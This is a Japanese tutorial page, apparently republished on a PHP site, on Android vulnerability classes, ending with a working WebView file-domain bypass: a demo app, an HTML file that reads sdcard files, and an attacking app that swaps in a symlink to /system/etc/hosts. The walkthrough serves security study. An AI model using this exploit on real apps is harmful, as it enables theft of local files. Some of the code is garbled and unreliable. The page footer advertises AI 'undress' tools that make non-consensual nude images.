ホームページ 運用・保守 安全性 WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例

WebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例

May 15, 2023 am 08:22 AM
file webview

基礎知識 Android アーキテクチャ

  • カーネル カーネル層
    脆弱性は非常に有害であり、汎用性が高い
    ドライバーは数多く、複雑であり、多数のドライバーが存在する可能性があります。脆弱性

  • ライブラリ システム ランタイム ライブラリ層

    • システム ミドルウェアの形式で提供されるランタイム ライブラリ
      includes libc、WebKit、SQLite など。

    • AndroidRunTime
      Dalvik 仮想マシンとカーネル ライブラリ

  • FrameWork アプリケーション フレームワークレイヤー
    一連のサービスと API インターフェイスを提供します

    • アクティビティ マネージャー

    • コンテンツ プロバイダー

    • ビュー

    • エクスプローラー

    • 通知マネージャー

  • アプリケーション アプリケーション層

    • ##システム アプリケーション

      ホーム画面 ホーム、連絡先 連絡先、電話 電話、ブラウザ ブラウザ

    • その他のアプリケーション

      アプリケーション フレームワーク層の API を使用して開発者によって実装されるプログラム

    • #Andoroid の共通コンポーネント

アクティビティ アクティビティ

  • #Service サービス

  • BroadcastRecviver ブロードキャスト レシーバー

  • ContentProvider コンテンツ プロバイダー

  • 一般的な Android アプリの脆弱性 (OWASP モバイル トップ 10) プラットフォームの不適切な使用

概要

プラットフォーム機能の悪用、またはプラットフォームの使用失敗プラットフォームのセキュリティ制御を使用します。インテントの悪用、権限の悪用など。

  • リスク
    は非常に広範囲であり、モバイル プラットフォーム上のさまざまなサービスに関係する可能性があります

  • # #例

    iOS システムでは、パスワード データがキー チェーンではなくローカル ファイルに保存されるため、擬似暗号化されたバックアップ データから読み取られてしまいます。
    Android システムでは、パスワードが不適切に使用されます。インテントにより、悪意のあるユーザーがインテントのコンテンツをハイジャックして変更することになります。元のプロセスの ID 権限を使用してアクションを実行します。

  • 安全でないデータ ストレージ

  • 安全でない通信
  • #典型的な脆弱性とマイニング方法 データ ストレージの脆弱性

  • ##データ ファイルまたはディレクトリ

#クリア テキスト ストレージ

  • #MODE_PRIVATE

    • ##クリア テキスト ストレージ

    • ##MODE_PRIVATE モードがデータベースの作成時に使用されませんでした
    • MODE_PRIVATE モードが構成ファイルの作成時に使用されなかったため、他のプログラムが構成ファイルを読み取っていました

    • これはクリア テキストで保存され、root ユーザーは読み取り可能であるため、機密データの漏洩につながります

    • SharedPreferences
    • data /data/パッケージ名/shared_prefs/*.xml
    • SQLiteDatabases

      data/データパッケージ名/database/*.db


    • ##内部ストレージ
      data/データ/プログラム登録/ファイル/*


    • #外部ストレージ

      / mnt/sdcard/*


    • 検出方法


    • 各ファイルを参照し、 /data/data/package 名ディレクトリの下にあるディレクトリを確認し、他のユーザーが読み取り可能なファイルがあるかどうかを確認します。 File


      設定ファイル、データベース、ファイルにクリア テキストの機密情報があるかどうかを確認します。 etc.

  • マイニング方法
    • コード検出

      openFileOutput、getSharedPrefreences、openOrCreateDatabase およびその他の関数のモード パラメーターは MODE_PRIVATE(0x0000)

  • データ通信の脆弱性

  • HTTP などのクリア テキスト プロトコルを使用して機密情報をサーバーに送信します


    • # #LAN スニッフィング、悪意のある公衆 WIFI、悪意のあるプロキシ サービス、DNS ハイジャックなどを通じてクリア テキスト通信をキャプチャします。中間者攻撃を生成するその他の手段

##弱い SSL 証明書の検証


    • .method public checkServerTrusted を検索します。

    • .method を見つけてメソッドを終了します
  • return があるかどうかを確認します。 void


    同様に、verify(String, SSLSession) の戻り値が常に True であるかどうか、および X509HostnameVerifier のパラメータが ALLOW_ALLHOSTNAME_VERIFIER であるかどうかを確認します
    • Fiddler の HTTPS 解析機能を有効にし、自己署名証明書を生成してエクスポートし、電話機にインストールします。
    • #Fiddler プロキシを有効にしてリモート アクセスを許可します。ホストがプロキシに接続します

    • APP には SSL 証明書の検証がありません
    • クライアントは、3 つのメソッド checkServerTrusted\checkClientTrusted\getInstance を含む X509TruestManager クラスを実装する必要があります

    • 証明書の検証に失敗すると例外が発生し、アプリケーションによって処理されます。
    • サーバー証明書の検証に失敗すると、TLS マンインザが発生します。 -middle 攻撃
    • HttpsURLConnection を使用する場合、カスタム HostnameVerifier の実装プロセス中にホスト名が検証されず、証明書のドメイン名とサイト名が一致するかどうかはデフォルトでチェックされません。または、HttpsURLConnection の HostnameVerifier を設定するときに、すべてのドメイン名を受け入れるように ALLOW_ALL_HOSTNAME_VERIIER に設定します。

    • 攻撃方法

    • マイニング方法
    • #SSL 証明書の強力な検証

      Xp、Patch、その他の方法によってバイパスされる可能性があります

    コンポーネント露出の脆弱性

    • Android:exported は 4 つの主要コンポーネントに共通の属性で、他のアプリケーションが現在のコンポーネントを呼び出すことがサポートされているかどうかを示すために使用されます。

    • インテント フィルターがある場合、デフォルト値は true、それ以外の場合、デフォルト値は false

    • エクスポートされたエクスポートされたもののアクセス許可制御コンポーネント

    • 認証のバイパス

      • アクティビティは公開された後に第三者によって呼び出され、ログイン/する可能性があります。パスワードを使用せずにパスワードをリセットする

    • 機密情報の漏洩

      • recviver は、公開された後に第三者に公開され、デバッグやその他の情報が閲覧される可能性がある に含まれる機密情報 特権プログラムは、高特権プログラムによって公開されたコンポーネントを呼び出すことにより、高特権のアクションを実行します。
        ##マイニング方法


    • AndroidManifest.xmlを表示
      • drozer のアタックサーフェス ツールを使用してセキュリティ評価を実行します

    • 弱い暗号化の脆弱性



      パスワードのハード コーディング

      逆コンパイル、ルート表示などは取得可能です
      • AES/DES の弱い暗号化

        ECB モードは分析またはリプレイ攻撃に対して脆弱です

      • WebView
      主に 3 つの脆弱性が含まれています:

      任意のコード実行

    • 横断する Web ページを作成するgetClass メソッドがある場合、リモートでコードが実行される脆弱性があります



      fiddler の before スクリプトにより、任意の Web ページにアクセスするときに任意の Web ビューをテストできます

    ##Android 4.2 以降では、addJavascriptInterface アノテーションが付けられたメソッドを Web ページ内の java メソッドから呼び出すことができます。フィルタリングがない場合、脆弱性がある可能性があります

    • 発掘方法:


      • ドメイン管理がされていないstrict


      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs

      • setAllowUniversalAccessFromFileURLs (リモート開示につながる)

      ローカル ファイルは、シンボリック リンク攻撃を通じてアクセスできます。どんなに制限されていても、js はこのファイルにアクセスできます。実行を遅らせ、現在のファイルを別のファイルを指すソフト リンクに置き換えることで、シンボリック リンクが指すファイルを読み取ることができます。 JavaScript がサポートされており、file:/// 形式の URL に制限がないため、Cookie、プライベート ファイル、データベースなどの機密情報が漏洩する可能性があります。
    • ##パスワードを平文で保存
      ユーザーが WebViEW に入力したユーザー名とパスワードを保存することを選択すると、それらはアプリ ディレクトリの data.db に平文で保存されます

      攻撃者root 権限で読み取り可能
      • 脆弱性マイニングプロセスの概要
      • 静的分析
      • 主要な分析対象を迅速に検出して取得
      • #AndroidManifest ファイルの確認


        ##スクリプト解析 Smali コード


      • #動的分析

        疑わしいリスクの検証と危険性評価


    • デバッグ モード分析

    運用を試す/脆弱性検証

      #drozer


    • パケットキャプチャ解析データとインターフェース

      • 逆分析
      • 暗号解読とロジックとコードのさらなる分析


    • ##-

      • 自動補助システム

      • MobSF には、フロントエンド Web インターフェイス
      • # が含まれています

        ##Marvin にはフロントエンド Web インターフェイス、導入トラブルが含まれています

      • Inspeckage Xused プラグイン

    • #今日は WebView の脆弱性について話します


      [Java] プレーン テキスト ビュー コードをコピー

      ?
      • サンプル コード アドレス: https://github.com/jltxgcy/AppVulnerability /tree/master/WebViewFileDemo.
      • または私の github: https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1


        次のコードの主な違いは、今回ロードされる Attack_file です。 html

        public class MainActivity extends Activity {
      private WebView webView;
    • private Uri mUri;

      private String url;
      • String mUrl1 = "file:///android_asset/html/攻撃ファイル.html";
      • //文字列 mUrl2 = "file:///android_asset/html/test.html";

      • @オーバーライド
      • protected void onCreate(Bundle SavedInstanceState) {

      • super.onCreate(savedInstanceState);
      • setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);
      • webView.getSettings().setJavaScriptEnabled(true);

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(true);

        webView.setWebChromeClient(new WebChromeClient() {

        @Override

        public boolean onJsAlert(WebView view, String URL, String message,JsResult result) {

        //ここで必要な機能

        return super.onJsAlert(view, url, message, result);

        }

        });

        webView.loadUrl(mUrl1);

        }

        class JSInterface {

        public String onButtonClick(String text) {

        final String str = text;

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Log.e("leehong2", "onButtonClick: text = " str);

        Toast.makeText(getApplicationContext(), "onButtonClick: text = " str, Toast.LENGTH_LONG).show();

        }

        });

        return "このテキストは Java レイヤーから返されます。 js text = " text;

        }

        public void onImageClick(String url, int width, int height) {

        final String str = "onImageClick: text = " url " width = " width "高さ = "高さ;

        Log.i("leehong2", str);

        runOnUiThread(new Runnable() {

        @Override

        public void run() {

        Toast.makeText(getApplicationContext(), str, Toast .LENGTH_LONG).show();

        }

        });

        }

        }

        }

        ここでは webView.getSettings().setAllowFileAccessFromFileURLs(true) を示し、ファイル ファイルを JavaScript 経由でアクセスできることを示しています。

        我们再来看 Attack_file.html の代番号:'

        <本文>

        <スクリプト>

        function stoneFile()

        {

        var file = "file:///mnt/sdcard/233.txt";

        var xmlHttpReq = new XMLHttpRequest();

        xmlHttpReq.onreadystatechange = function(){

        if(xmlHttpReq.readyState == 4){

        alert(xmlHttpReq.responseText);

        }

        }

        xmlHttpReq.open("GET", file);

        xmlHttpReq.send(null);

        }

        stealFile();

        #setAllowFileAccessFromFileURLs が true であるため、webView.load この html は /mnt/sdcard/2333.txt の値を返すことができます。

        setAllowFileAccessFromFileURLs が false の場合、webView.load この html は /mnt/sdcard/2333.txt の値を返すことができません。

        setAllowFileAccessFromFileURLs が false の場合でも、ある方法でこの制限を乗り越えることができます。次讲讲.

        最初に WebViewFileDemo1 を実行し、次に AttackWebView を実行して WebView を攻撃します。

        最初に WebViewFileDemo1 を見ていきます。メイン コードは次のとおりです:

        package com.example.webviewfiledemo; [/ size][/ font][/p]

        import android.app.Activity;

        import android.content.Intent;

        import android.net.Uri;

        import android.os.Bundle;

        import android.util.Log;

        import android.webkit.JsResult;

        import android.webkit.WebChromeClient ;

        import android.webkit.WebView;

        import android.widget.Toast;

        public class MainActivity extends Activity {

        private WebView webView;

        private Uri mUri;

        private String url;

        @Override

        protected void onCreate(Bundle SavedInstanceState) {

        super.onCreate (savedInstanceState);

        setContentView(R.layout.activity_main);

        webView = (WebView) findViewById(R.id.webview);

        webView.getSettings() .setJavaScriptEnabled(true );

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");

        webView.getSettings().setAllowFileAccessFromFileURLs(false);

        / /webView.getSettings ().setAllowFileAccess(false);

        webView.setWebChromeClient(new WebChromeClient() {

        @Override

        public boolean onJsAlert(WebView view, String url 、文字列メッセージ、JsResult の結果) {

        ;

        意図 i = getIntent();

        if (i != null) {

        mUri = i.getData();

        } }

        if (mUri != null) {

        url = mUri.toString();

        ## }

        if(url!= null){

        ’s’ s ’s’ s ’t - - は、外部から意図を受け取り、意図でURLを抽出してロードします。

        次に、com.example.webviewfiledemo.MainActivity にインテントを送信するプロジェクトである AttackWebView プロジェクトを見てみましょう。コードは次のとおりです。

        public class MainActivity extends Activity {

        public Final static String HTML =

        ""

        "< ;u>数秒待ちます。" "

        "<script>" <p></p> "var d = document;" "function doitjs(){" <p> </p> "var xhr = new XMLHttpRequest;" <p></p> "xhr.onload = function(){" <p></p> "var txt = xhr.responseText;" <p></p> "d .body.appendChild(d.createTextNode(txt));" <p></p> "alert(txt);" "};" <p></p> "xhr.open('GET',d. URL) ;" <p></p> "xhr.send(null);" <p></p> "}" <p></p> "setTimeout(doitjs,8000);" <p></p> <p> "</script>"

        "";

        public static String MY_TMP_DIR;

        @Override

        protected void onCreate(Bundle SavedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); ###### やれ();

        }

        public void doit() {

        String HTML_PATH = MY_TMP_DIR "/A0" ".html";

        {

        cmdexec("mkdir " MY_TMP_DIR); を試してください。

        cmdexec("echo \"" HTML "\" > " HTML_PATH);

        cmdexec("chmod -R 777 " MY_TMP_DIR);

        Thread.sleep(1000);

        invokeVulnAPP("file://" HTML_PATH);

        Thread.sleep(6000);

        cmdexec("rm " HTML_PATH);

        cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

        } catch (Exception e) {

        // TODO: 例外を処理します

        }

        }

        public void invokeVulnAPP(String url) {

        try {

        Intent 意図 = new Intent(Intent.ACTION_MAIN,Uri.parse(url));

        tent.addCategory(Intent.CATEGORY_LAUNCHER);

        tent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");

        startActivity(intent);

        } catch (Exception e) {

        // TODO: 例外を処理します

        }

        }

        public void cmdexec(String cmd) {

        try {

        String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };

        Runtime.getRuntime().exec(tmp);

        } catch (Exception e) {

        // TODO: 例外を処理する

        }

        }

        }

        invokeVulnAPP によって、com.example.webviewfiledemo.MainActivity が開き、Intent が転送されます。このアクティビティは URL を取得しました。URL は /sdcard/payload_odex/A0.html で、webView はこの html をダウンロードしました。html コンテンツは次のとおりです。

        #public Final static String HTML =

        ""

        数秒お待ちください。

        ""

        "var d = ドキュメント;"

        "function doitjs(){"

        "var xhr = new XMLHttpRequest;"

        "xhr.onload = function(){"

        "var txt = xhr.responseText;"

        "d.body.appendChild(d.createTextNode(txt));"

        "alert(txt);" "};"

        "xhr.open('GET',d.URL);"

        "xhr.send(null);"

        "}"

        "setTimeout(doitjs,8000);"

        ""

        "";

        WebViewFileDemo1 プロジェクト A0.html をロードした後、この HTML の機能は A0.html 自体の読み取りを 8 秒間遅らせることです。 AttackWebView プロジェクトに戻ってコードを見てみましょう。

        cmdexec("mkdir " MY_TMP_DIR); ;

        Thread.sleep(1000);

        invokeVulnAPP("file://" HTML_PATH); cmdexec( "rm " HTML_PATH);

        cmdexec("ln -s " "/system/etc/hosts" " " HTML_PATH);

        invokeVulnAPP を呼び出した後、6 秒後に、まず A0 を削除します.html を作成し、それを /system/etc/hosts に再度ソフトリンクします。この時点で WebViewFileDemo1 プロジェクトの webView が A0.html をロードすると、この HTML の機能は A0.html 自体の読み取りを 8 秒間遅らせることであるため、8 秒後に読み取られるのはソフト接続 /system/etc/ であることに注意してください。ホスト。

以上がWebView ファイル ドメイン オリジン ポリシー バイパス脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

紅夢ネイティブアプリケーションのランダムな詩 紅夢ネイティブアプリケーションのランダムな詩 Feb 19, 2024 pm 01:36 PM

オープン ソースの詳細については、次のサイトを参照してください。 51CTO Honmeng 開発者コミュニティ https://ost.51cto.com 実行環境 DAYU200:4.0.10.16SDK: 4.0.10.15IDE: 4.0.600 1. アプリケーションを作成するには、[ファイル] をクリックします。 >新しいファイル ->プロジェクトの作成。テンプレートを選択します: [OpenHarmony] EmptyAbility: プロジェクト名 shici、アプリケーション パッケージ名 com.nut.shici、およびアプリケーションの保存場所 XXX (中国語、特殊文字、スペースは含まれません) を入力します。 CompileSDK10、モデル: ステージ。デバイス

JavaのFile.length()関数を使用してファイルのサイズを取得します。 JavaのFile.length()関数を使用してファイルのサイズを取得します。 Jul 24, 2023 am 08:36 AM

ファイルのサイズを取得するには、Java の File.length() 関数を使用します。ファイル操作を扱うとき、ファイル サイズは非常に一般的な要件です。Java では、ファイルのサイズを取得するための非常に便利な方法、つまり length( ) File クラスのメソッド。この記事では、このメソッドを使用してファイルのサイズを取得する方法と、対応するコード例を紹介します。まず、サイズを取得したいファイルを表す File オブジェクトを作成する必要があります。 File オブジェクトを作成する方法は次のとおりです: Filef

PHP BLOBをファイルに変換する方法 PHP BLOBをファイルに変換する方法 Mar 16, 2023 am 10:47 AM

PHP BLOB をファイルに変換する方法: 1. PHP サンプル ファイルを作成します; 2. 「function blobToFile(blob) {return new File([blob], 'screenshot.png', { type: 'image/jpeg' })」を通じて} 」メソッドを使用して、Blob をファイルに変換できます。

JavaのFile.renameTo()関数を使用してファイルの名前を変更する JavaのFile.renameTo()関数を使用してファイルの名前を変更する Jul 25, 2023 pm 03:45 PM

Java の File.renameTo() 関数を使用してファイルの名前を変更する Java プログラミングでは、ファイルの名前を変更する必要がよくあります。 Java には、ファイル操作を処理するための File クラスが用意されており、その renameTo() 関数でファイルの名前を簡単に変更できます。この記事では、Java の File.renameTo() 関数を使用してファイルの名前を変更する方法と、対応するコード例を紹介します。 File.renameTo() 関数は、File クラスのメソッドです。

Java 13 の新しい JavaFX WebView コンポーネントを使用して Web コンテンツを表示する Java 13 の新しい JavaFX WebView コンポーネントを使用して Web コンテンツを表示する Aug 01, 2023 pm 01:09 PM

Java13 の新しい JavaFXWebView コンポーネントを使用して Web コンテンツを表示する Java の継続的な開発により、JavaFX はクロスプラットフォームのグラフィカル インターフェイスを構築するための主要ツールの 1 つになりました。 JavaFX は豊富なグラフィックス ライブラリとコンポーネントを提供し、開発者がさまざまなユーザー インターフェイスを簡単に作成できるようにします。その中でも、JavaFXWebView コンポーネントは、JavaFX アプリケーションで Web コンテンツを表示できるようにする非常に便利なコンポーネントです。 Java13では、J

JavaのFile.getParentFile()関数を使用してファイルの親ディレクトリを取得します。 JavaのFile.getParentFile()関数を使用してファイルの親ディレクトリを取得します。 Jul 27, 2023 am 11:45 AM

ファイルの親ディレクトリを取得するには、Java の File.getParentFile() 関数を使用します Java プログラミングでは、ファイルやフォルダーを操作する必要がよくあります。ファイルの親ディレクトリを取得する必要がある場合は、Java が提供する File.getParentFile() 関数を使用できます。この記事では、この関数の使用方法とコード例を説明します。 Java の File クラスは、ファイルやフォルダーを操作するために使用される主なクラスです。ファイルのプロパティを取得および操作するための多くのメソッドを提供します

JavaのFile.getParent()関数を使用してファイルの親パスを取得します。 JavaのFile.getParent()関数を使用してファイルの親パスを取得します。 Jul 24, 2023 pm 01:40 PM

ファイルの親パスを取得するには、Java の File.getParent() 関数を使用します Java プログラミングでは、ファイルやフォルダーを操作する必要がよくあります。場合によっては、ファイルの親パス、つまりファイルが存在するフォルダーのパスを取得する必要があることがあります。 Java の File クラスには、ファイルまたはフォルダーの親パスを取得する getParent() メソッドが用意されています。 File クラスは、ファイルとフォルダーを Java で抽象表現したもので、ファイルとフォルダーを操作するための一連のメソッドを提供します。その中で、手に入れてください

Java で File.delete() メソッドを使用してファイルまたはディレクトリを削除するにはどうすればよいですか? Java で File.delete() メソッドを使用してファイルまたはディレクトリを削除するにはどうすればよいですか? Nov 18, 2023 am 08:02 AM

Java で File.delete() メソッドを使用してファイルまたはディレクトリを削除するにはどうすればよいですか?概要: Java では、File クラスの delete() メソッドを使用してファイルまたはディレクトリを削除できます。このメソッドは、指定されたファイルまたはディレクトリを削除するために使用されます。ただし、この方法では、他のプログラムによって開かれていない空のディレクトリまたはファイルしか削除できないことに注意してください。ファイルまたはディレクトリの削除が失敗した場合は、IOException をキャッチすることで特定の理由を見つけることができます。ステップ 1: 関連パッケージをインポートする まず、

See all articles